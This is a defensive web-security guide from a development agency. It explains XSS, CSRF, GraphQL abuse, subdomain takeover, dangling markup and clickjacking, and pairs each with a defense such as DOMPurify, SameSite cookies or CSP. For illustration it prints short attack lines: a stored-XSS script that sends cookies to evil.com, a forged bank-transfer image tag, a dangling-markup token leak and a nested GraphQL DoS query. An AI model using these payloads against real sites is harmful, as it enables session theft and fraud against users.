CSRF & XSS: The Twins of Web Destruction
The two most common vulnerabilities in web apps. A technical guide to SameSite Cookies, HttpOnly Headers, and Input Sanitization.
“We are just selling t-shirts. Why would anyone hack us?” This is the naive mindset of the Junior Engineer. Attackers do not hack you because you are “important”. They hack you because you are vulnerable. They run automated bots that scan millions of domains for common exploits. If your t-shirt store has an XSS vulnerability, they will install a credit card skimmer (Magecart) and steal 10,000 credit card numbers. You will go bankrupt.
At Maison Code Paris, we engineer transactional systems. Security is not a “Feature”. It is the Basement. This guide covers the two most lethal vulnerabilities: XSS and CSRF.
1. XSS (Cross-Site Scripting): Data Theft
XSS occurs when an attacker can run JavaScript in your user’s browser.
If they can run JS, they can read document.cookie.
If they can read cookies, they own the account.
The Attack Vector
Type: Stored XSS.
- Attacker posts a product review:
"Great shirt! <script>fetch('http://evil.com?c='+document.cookie)</script>" - The Database stores this string.
- The Frontend renders it.
- Every customer who views the product page blindly executes the script.
- 1,000 Session IDs are sent to
evil.com.
The Defense: Context-Aware Output Encoding
Rule: Never trust the database.
Modern frameworks (React/Vue) protect you by default.
They “escape” variables.
< becomes <. The browser renders text, not code.
The Danger Zone: dangerouslySetInnerHTML.
React allows you to bypass protection.
Use cases: CMS content, Rich Text Editors.
Solution: DOMPurify.
You must sanitize the HTML before rendering it.
import DOMPurify from 'dompurify';
function ProductDescription({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
DOMPurify strips out <script>, <iframe>, onload, javascript: links. It leaves <b> and <p>.
The Defense: CSP (Content Security Policy)
(See CSP Guide). Even if the attacker injects a script, CSP prevents the browser from executing it unless it has a valid Nonce. Defense in Depth.
2. CSRF (Cross-Site Request Forgery): Action Theft
CSRF occurs when an attacker tricks the user into performing an action they didn’t intend.
The Attack Vector
- User logs into
bank.com. Session cookie is set. - User visits
evil.com. evil.comhas an invisible image:<img src="https://bank.com/transfer?to=hacker&amount=1000" />- The browser sees the URL implies
bank.com. It attaches the valid session cookie automatically. bank.comreceives a valid request (with cookie) and transfers the money.
The Defense: SameSite Cookies
This updates the browser’s cookie policy.
Set-Cookie: session_id=xyz; SameSite=Lax; Secure; HttpOnly;
- Strict: Cookie is sent only for first-party requests. (Best Security).
- Lax: Cookie is not sent on subrequests (images/iframes), but is sent on top-level navigation. (Good Balance).
- None: Cookie is sent everywhere. (Insecure).
By setting SameSite=Lax, the <img> tag from evil.com will not carry the cookie. The request fails (401 Unauthorized).
The Defense: Anti-CSRF Tokens
For mutations (POST/PUT), we require a secondary check.
- Server sends a
csrf_tokenin a meta tag. - JavaScript reads it and sends it in a header
X-CSRF-Token. - Server validates: Does header match session?
Attacker cannot read the meta tag (Cross-Origin Policy). Attacker cannot spoof the header.
3. Storage: LocalStorage vs HttpOnly Cookies
Where do you store the JWT (Json Web Token)?
LocalStorage:
- Easy to use (
localStorage.getItem('token')). - Vulnerable to XSS. If attacker runs JS, they can read all LocalStorage.
HttpOnly Cookie:
- Harder to use (Server must set it).
- Immune to XSS theft. JavaScript cannot read HttpOnly cookies.
document.cookiereturns empty string.
Recommendation: Always use HttpOnly Cookies for sensitive Session IDs. Even if you have an XSS vulnerability, the attacker cannot exfiltrate the key. They can only make requests (which CSRF protection stops).
4. The Skeptic’s View
“React is secure by default.” False. React protects the View Layer. It does not protect:
javascript:URLs (<a href={userLink}>). IfuserLinkisjavascript:alert(1), clicking it runs code.- Server-Side Rendering (SSR) Injection.
- Supply Chain Attacks (Malicious npm packages).
“I don’t need CSRF protection because I use JWTs in headers.” True. If you don’t use cookies, you are immune to CSRF. But now you are storing JWTs in LocalStorage, so you are vulnerable to XSS. Pick your poison. (We choose Cookies + CSRF Protection).
5. Security Headers (Helmet)
Don’t send naked HTTP responses.
Use helmet (Node.js) or headers config (Next.js) to set:
X-Content-Type-Options: nosniff(Prevents MIME sniffing).X-Frame-Options: DENY(Prevents Clickjacking).Referrer-Policy: strict-origin-when-cross-origin.Strict-Transport-Security(HSTS): Enforce HTTPS.
7. GraphQL Injection (The New SQL Injection)
Developers think GraphQL is safe because it is typed.
Wrong.
If you use GraphQL without Query Depth Limiting, an attacker can DDOS you with one request.
query { user { friends { user { friends { user { friends ... } } } } } }
This nested query explodes your database.
Defense: Use graphql-depth-limit. Restrict depth to 5.
Also, beware of Batching Attacks.
If you allow batched queries, an attacker can brute force 10,000 passwords in one HTTP request.
Defense: Disable batching on public endpoints.
8. JWT: The “Stateless” Lie
Everyone uses JWTs because “Sessions don’t scale”. This is a lie. Redis scales to millions of ops/sec. The problem with JWT is Revocation. If an attacker steals a JWT, they are the admin for 1 hour. You cannot log them out. You have to rotate the Signing Key, which logs out everyone. Hybrid Approach: Store the JWT in a Redis “Allowlist”. Check Redis on every request. Now you have a “Stateful JWT”. It defeats the purpose, but it is secure. Or just use Session Cookies. They worked for Google for 20 years.
9. Subdomain Takeover Risks
Does your site have blog.maisoncode.paris pointing to a WordPress host you cancelled 3 years ago?
If that CNAME record still exists, an attacker can register a blog on that host and claim your subdomain.
Since they are on *.maisoncode.paris, they can read your cookies (if domain=.maisoncode.paris).
Defense: Audit your DNS records. Delete any CNAME pointing to a service you don’t pay for anymore.
10. Dangling Markup Injection
If an attacker can inject an image tag but not close it:
<img src='https://evil.com/log?
They eat the rest of your HTML until the next quote.
<img src='https://evil.com/log? <form><input value="SECRET_TOKEN"> ...
The browser sends your secret token to evil.com as part of the URL query.
Defense: CSP img-src restrictions prevent the browser from extracting data to unauthorized domains. But Content-Security-Policy works best when strict.
12. Clickjacking Defenses in Depth
X-Frame-Options: DENY is the old way.
Content-Security-Policy: frame-ancestors 'none' is the new way.
Why use CSP? Because it supports allowing specific partners.
frame-ancestors https://partner.com.
If you don’t set this, I can embed your checkout in a pixel-perfect iframe on free-iphone.com.
The user thinks they are checking out.
I capture their mouse clicks (using transparent overlays) to redirect the “Purchase” button to my product.
It is insidious. Block it globally.
12. SameSite: Lax vs Strict (Deep Dive)
“Lax” is the default in Chrome.
It allows cookies on Top Level Navigation (Clicking a link from Google to your site).
“Strict” blocks cookies on Top Level Navigation.
If you set SameSite=Strict, and a user clicks a link in an email “View Order”, they will arrive Logged Out.
This is bad UX.
Strategy:
- Session Cookie:
Allowed (Lax). - Sensitive Action Token (Delete Account):
Required (Strict). You can have two tokens. One for reading, one for writing.
Why Maison Code Discusses This
At Maison Code, we audit for the OWASP Top 10 by default.
We don’t assume React is safe.
We audit your dangerouslySetInnerHTML.
We configure your SameSite cookies.
We set up your CSP.
We believe that a Luxury Experience includes the luxury of Safety.
Your customers shouldn’t have to worry about credit card theft.
14. Conclusion
Security is mostly invisible. Features get you promoted. Security prevents you from getting fired. It is thankless work, until the day it saves the company. Take pride in the invisible shield you build.
Is your app leaking?
We conduct Penetration Testing and Code Audits for high-risk applications.